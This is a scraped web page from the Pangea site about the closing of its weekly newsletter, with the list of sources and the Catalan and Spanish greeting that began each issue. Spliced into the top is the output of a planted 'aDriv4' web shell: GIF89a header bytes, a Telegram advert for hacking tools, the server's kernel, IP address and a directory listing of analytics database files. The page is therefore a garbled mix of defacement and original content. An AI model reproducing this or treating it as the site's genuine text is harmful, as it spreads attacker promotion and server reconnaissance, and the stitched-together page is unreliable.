Cierre de la revista de Pangea

GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux wpmu 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
 Apache
 45.150.186.219
Name Type Size Owner/Group Permission Last Modified Actions
. dir - goaccess/goaccess 0755 2023-12-01 12:01:47
.. dir - goaccess/goaccess 0755 2025-08-31 10:00:16
IGSL_HOSTS_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IGSL_NOT_FOUND_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IGSL_REQUESTS_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IGSL_REQUESTS_STATIC_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IGSL_STATUS_CODES_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IGSL_VISITORS_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IGSL_VISIT_TIMES_MTRC_AGENTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
II32_CNT_VALID.db application/octet-stream 534 B goaccess/goaccess 0644 2023-12-31 12:01:09
II32_HOSTS_MTRC_HITS.db application/octet-stream 267.22 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_HOSTS_MTRC_ROOT.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
II32_HOSTS_MTRC_VISITORS.db application/octet-stream 264.3 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_LAST_PARSE.db application/octet-stream 282 B goaccess/goaccess 0644 2023-12-31 12:01:09
II32_NOT_FOUND_MTRC_HITS.db application/octet-stream 25.11 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_NOT_FOUND_MTRC_ROOT.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
II32_NOT_FOUND_MTRC_VISITORS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
II32_REQUESTS_MTRC_HITS.db application/octet-stream 1.2 MB goaccess/goaccess 0644 2023-12-31 12:01:09
II32_REQUESTS_MTRC_ROOT.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
II32_REQUESTS_MTRC_VISITORS.db application/octet-stream 1.2 MB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_REQUESTS_STATIC_MTRC_HITS.db application/octet-stream 40.49 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_REQUESTS_STATIC_MTRC_ROOT.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
II32_REQUESTS_STATIC_MTRC_VISITORS.db application/octet-stream 40.48 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_STATUS_CODES_MTRC_HITS.db application/octet-stream 2.71 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_STATUS_CODES_MTRC_ROOT.db application/octet-stream 2.71 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_STATUS_CODES_MTRC_VISITORS.db application/octet-stream 1.7 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_VISITORS_MTRC_HITS.db application/octet-stream 534 B goaccess/goaccess 0644 2023-12-31 12:01:09
II32_VISITORS_MTRC_ROOT.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
II32_VISITORS_MTRC_VISITORS.db application/octet-stream 534 B goaccess/goaccess 0644 2023-12-31 12:01:09
II32_VISIT_TIMES_MTRC_HITS.db application/octet-stream 6 KB goaccess/goaccess 0644 2023-12-31 12:01:10
II32_VISIT_TIMES_MTRC_ROOT.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
II32_VISIT_TIMES_MTRC_VISITORS.db application/octet-stream 6 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_AGENT_VALS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_HOSTS_MTRC_DATAMAP.db application/octet-stream 698.58 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_HOSTS_MTRC_METHODS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_HOSTS_MTRC_PROTOCOLS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_HOSTS_MTRC_ROOTMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_NOT_FOUND_MTRC_DATAMAP.db application/octet-stream 81.07 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_NOT_FOUND_MTRC_METHODS.db application/octet-stream 34.47 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_NOT_FOUND_MTRC_PROTOCOLS.db application/octet-stream 49.94 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_NOT_FOUND_MTRC_ROOTMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_REQUESTS_MTRC_DATAMAP.db application/octet-stream 8.04 MB goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_REQUESTS_MTRC_METHODS.db application/octet-stream 1.66 MB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_REQUESTS_MTRC_PROTOCOLS.db application/octet-stream 2.4 MB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_REQUESTS_MTRC_ROOTMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_REQUESTS_STATIC_MTRC_DATAMAP.db application/octet-stream 422.86 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_REQUESTS_STATIC_MTRC_METHODS.db application/octet-stream 55.62 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_REQUESTS_STATIC_MTRC_PROTOCOLS.db application/octet-stream 80.71 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_REQUESTS_STATIC_MTRC_ROOTMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_STATUS_CODES_MTRC_DATAMAP.db application/octet-stream 17.89 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_STATUS_CODES_MTRC_METHODS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_STATUS_CODES_MTRC_PROTOCOLS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_STATUS_CODES_MTRC_ROOTMAP.db application/octet-stream 2.89 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_VISITORS_MTRC_DATAMAP.db application/octet-stream 790 B goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_VISITORS_MTRC_METHODS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_VISITORS_MTRC_PROTOCOLS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_VISITORS_MTRC_ROOTMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IS32_VISIT_TIMES_MTRC_DATAMAP.db application/octet-stream 7.43 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_VISIT_TIMES_MTRC_METHODS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_VISIT_TIMES_MTRC_PROTOCOLS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IS32_VISIT_TIMES_MTRC_ROOTMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_CNT_BW.db application/octet-stream 662 B goaccess/goaccess 0644 2023-12-31 12:01:09
IU64_HOSTS_MTRC_BW.db application/octet-stream 400.69 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_HOSTS_MTRC_CUMTS.db application/octet-stream 400.69 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_HOSTS_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_NOT_FOUND_MTRC_BW.db application/octet-stream 37.53 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_NOT_FOUND_MTRC_CUMTS.db application/octet-stream 37.53 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_NOT_FOUND_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_REQUESTS_MTRC_BW.db application/octet-stream 1.8 MB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_REQUESTS_MTRC_CUMTS.db application/octet-stream 1.8 MB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_REQUESTS_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_REQUESTS_STATIC_MTRC_BW.db application/octet-stream 60.6 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_REQUESTS_STATIC_MTRC_CUMTS.db application/octet-stream 60.6 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_REQUESTS_STATIC_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_STATUS_CODES_MTRC_BW.db application/octet-stream 3.93 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_STATUS_CODES_MTRC_CUMTS.db application/octet-stream 3.93 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_STATUS_CODES_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_VISITORS_MTRC_BW.db application/octet-stream 662 B goaccess/goaccess 0644 2023-12-31 12:01:09
IU64_VISITORS_MTRC_CUMTS.db application/octet-stream 662 B goaccess/goaccess 0644 2023-12-31 12:01:09
IU64_VISITORS_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
IU64_VISIT_TIMES_MTRC_BW.db application/octet-stream 8.86 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_VISIT_TIMES_MTRC_CUMTS.db application/octet-stream 8.86 KB goaccess/goaccess 0644 2023-12-31 12:01:10
IU64_VISIT_TIMES_MTRC_MAXTS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
SI32_AGENT_KEYS.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:09
SI32_CNT_OVERALL.db application/octet-stream 63 B goaccess/goaccess 0644 2023-12-31 12:01:09
SI32_HOSTS_MTRC_KEYMAP.db application/octet-stream 700.04 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SI32_NOT_FOUND_MTRC_KEYMAP.db application/octet-stream 121.56 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SI32_REQUESTS_MTRC_KEYMAP.db application/octet-stream 10 MB goaccess/goaccess 0644 2023-12-31 12:01:09
SI32_REQUESTS_STATIC_MTRC_KEYMAP.db application/octet-stream 488.84 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SI32_STATUS_CODES_MTRC_KEYMAP.db application/octet-stream 21.65 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SI32_UNIQUE_KEYS.db application/octet-stream 1.04 MB goaccess/goaccess 0644 2023-12-31 12:01:09
SI32_VISITORS_MTRC_KEYMAP.db application/octet-stream 790 B goaccess/goaccess 0644 2023-12-31 12:01:09
SI32_VISIT_TIMES_MTRC_KEYMAP.db application/octet-stream 7.55 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SU64_HOSTS_MTRC_METADATA.db application/octet-stream 2.99 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SU64_NOT_FOUND_MTRC_METADATA.db application/octet-stream 2.3 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SU64_REQUESTS_MTRC_METADATA.db application/octet-stream 2.99 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SU64_REQUESTS_STATIC_MTRC_METADATA.db application/octet-stream 2.91 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SU64_STATUS_CODES_MTRC_METADATA.db application/octet-stream 2.99 KB goaccess/goaccess 0644 2023-12-31 12:01:10
SU64_VISITORS_MTRC_METADATA.db application/octet-stream 2.99 KB goaccess/goaccess 0644 2023-12-31 12:01:09
SU64_VISIT_TIMES_MTRC_METADATA.db application/octet-stream 2.99 KB goaccess/goaccess 0644 2023-12-31 12:01:10
U648_HOSTS_MTRC_UNIQMAP.db application/octet-stream 330.31 KB goaccess/goaccess 0644 2023-12-31 12:01:10
U648_NOT_FOUND_MTRC_UNIQMAP.db application/octet-stream 278 B goaccess/goaccess 0644 2023-12-31 12:01:10
U648_REQUESTS_MTRC_UNIQMAP.db application/octet-stream 2.31 MB goaccess/goaccess 0644 2023-12-31 12:01:09
U648_REQUESTS_STATIC_MTRC_UNIQMAP.db application/octet-stream 329.53 KB goaccess/goaccess 0644 2023-12-31 12:01:10
U648_STATUS_CODES_MTRC_UNIQMAP.db application/octet-stream 381.24 KB goaccess/goaccess 0644 2023-12-31 12:01:10
U648_VISITORS_MTRC_UNIQMAP.db application/octet-stream 330.31 KB goaccess/goaccess 0644 2023-12-31 12:01:09
U648_VISIT_TIMES_MTRC_UNIQMAP.db application/octet-stream 588.5 KB goaccess/goaccess 0644 2023-12-31 12:01:10
© aDriv4

Algunas fuentes: Infomoc, Revista Rebelión, Ecologistas en Acción, Barrapunto, internautas, La Jornada, PCS, Mugak, etc.

El mensaje de la lista solía comenzar por:

Hola a tots i totes,

A continuació, us fem arribar una nova edició del butlletí setmanal de Pangea amb la corresponent selecció de notícies i articles destacats dels darrers dies. Us recordem que tant el present butlletí com les edicions anteriors també es troben disponibles a la categoria “Butlletí setmanal” de la secció “Revista” de la web (www.pangea.org).

Esperem que la informació sigui del vostre interès.

Salutacions,
L’Equip de Pangea 

__________________________________

Hola a todos y a todas,

A continuación, os hacemos llegar una nueva edición del boletín semanal de Pangea con la correspondiente selección de algunas noticias y artículos destacados de los últimos días. Os recordamos también que tanto el actual boletín como las ediciones anteriores se encuentran disponibles en la categoría “Boletín semanal” de la sección “Revista” de la web (www.pangea.org).

Esperamos que la información os resulte interesante.

Saludos,
El Equipo de Pangea